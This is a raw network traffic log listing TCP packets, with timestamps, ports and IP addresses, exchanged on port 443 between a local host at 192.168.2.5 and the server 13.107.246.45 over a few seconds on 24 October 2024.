Oct 24, 2024 22:10:14.504647970 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.505136013 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.505194902 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.505362988 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.505362988 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.505388975 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.505412102 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.509505033 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.509558916 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.509627104 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.509800911 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.509855032 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.510880947 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.510914087 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.511006117 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.512170076 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.512193918 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.512259007 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.512470007 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.512496948 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.513406992 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.513430119 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.513498068 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.513725042 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.513751030 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.513873100 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.513894081 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.218256950 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.219165087 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.219228983 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.220165968 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.220181942 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.247013092 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.247667074 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.247730970 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.248693943 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.248707056 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.252190113 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.252790928 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.252836943 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.253714085 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.253726959 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.262201071 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.262865067 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.262888908 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.263828039 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.263839006 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.348402977 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.348475933 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.348531008 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.348570108 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.348607063 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.348690033 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.349230051 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.349749088 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.349781990 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.349809885 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.349833012 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.357320070 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.357343912 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.358783007 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.358795881 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.366080999 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.366122007 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.366184950 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.366369963 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.366385937 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.378787041 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.378932953 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.379105091 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.382154942 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.382375002 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.382438898 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.382457972 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.382513046 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.382565022 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.394821882 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.394862890 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.394913912 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.394920111 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.394963980 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.413721085 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.413721085 CEST	56513	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.413744926 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.413768053 CEST	443	56513	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.428380013 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.428380013 CEST	56512	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.428415060 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.428437948 CEST	443	56512	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.430326939 CEST	56511	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.430340052 CEST	443	56511	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.439980030 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.440037966 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.440246105 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.441577911 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.441596985 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.441656113 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.442471027 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.442492962 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.442744017 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.443001986 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.443017960 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.443290949 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.443303108 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.443763018 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.443788052 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.485583067 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.485738993 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.485806942 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.486259937 CEST	56514	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.486290932 CEST	443	56514	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.489336014 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.489387035 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:15.489546061 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.490266085 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:15.490279913 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.107408047 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.107887030 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.107943058 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.108329058 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.108357906 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.172727108 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.172733068 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.172779083 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.173285007 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.173285007 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.173300982 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.173321009 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.173736095 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.173741102 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.173774958 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.173787117 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.174015045 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.174026012 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.174341917 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.174350023 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.228033066 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.229377985 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.229391098 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.230372906 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.230376005 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.236958981 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.237112045 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.237184048 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.237407923 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.237426043 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.237441063 CEST	56515	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.237447977 CEST	443	56515	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.250861883 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.250963926 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.251070023 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.251286030 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.251339912 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301265955 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301275969 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301316977 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301353931 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301381111 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301409006 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.301429033 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.301455021 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.301562071 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.301562071 CEST	56517	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.301577091 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.301584005 CEST	443	56517	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.303018093 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.303046942 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.303065062 CEST	56516	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.303073883 CEST	443	56516	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.306224108 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306230068 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306265116 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.306279898 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.306370974 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306421041 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306498051 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306507111 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.306566000 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.306608915 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.340920925 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.341072083 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.341170073 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.341236115 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.341260910 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.341279030 CEST	56518	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.341286898 CEST	443	56518	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.343902111 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.343914032 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.343985081 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.344111919 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.344125032 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.356430054 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.356554031 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.356673956 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.356734037 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.356750965 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.356790066 CEST	56519	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.356794119 CEST	443	56519	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.359231949 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.359260082 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:16.359329939 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.359467030 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:16.359486103 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.001291037 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.002166033 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.002166986 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.002252102 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.002280951 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.032598019 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.033090115 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.033143997 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.037161112 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.037173033 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.048850060 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.049637079 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.049637079 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.049660921 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.049673080 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.105134010 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.105612040 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.105619907 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.106061935 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.106066942 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.108206987 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.108912945 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.108912945 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.108958960 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.108973980 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.132252932 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.132445097 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.132580996 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.132580996 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.132646084 CEST	56520	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.132677078 CEST	443	56520	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.135114908 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.135143995 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.135535955 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.135535955 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.135569096 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.162962914 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.163018942 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.163142920 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.163182020 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.163274050 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.163274050 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.163306952 CEST	56522	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.163372993 CEST	443	56522	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.165390015 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.165427923 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.165793896 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.165793896 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.165832996 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.186638117 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.186821938 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.186920881 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.186920881 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.186948061 CEST	56521	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.186959028 CEST	443	56521	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.189297915 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.189323902 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.189523935 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.189523935 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.189548016 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.236416101 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.236486912 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.236666918 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.236694098 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.236756086 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.236756086 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.236828089 CEST	56523	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.236836910 CEST	443	56523	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.238826036 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.238845110 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.239037037 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239129066 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239135981 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.239609003 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.239656925 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.239769936 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.239800930 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239911079 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239911079 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239934921 CEST	56524	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.239952087 CEST	443	56524	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.241842985 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.241904974 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.242041111 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.242120028 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.242150068 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.863382101 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.863857985 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.863882065 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.864260912 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.864268064 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.926074028 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.926742077 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.926769018 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.927452087 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.927460909 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.929003000 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.929454088 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.929466009 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.930063009 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.930067062 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.987818003 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.988323927 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.988382101 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.988976002 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.988990068 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.992094040 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.992557049 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.992619038 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.992930889 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.992944956 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996011019 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996068954 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996140003 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.996151924 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996201992 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996259928 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.996284962 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.996284962 CEST	56525	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.996309042 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.996315956 CEST	443	56525	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.999006033 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.999068022 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:17.999161959 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.999362946 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:17.999394894 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.060178041 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.060277939 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.060379028 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.061214924 CEST	443	56526	13.107.246.45	192.168.2.5
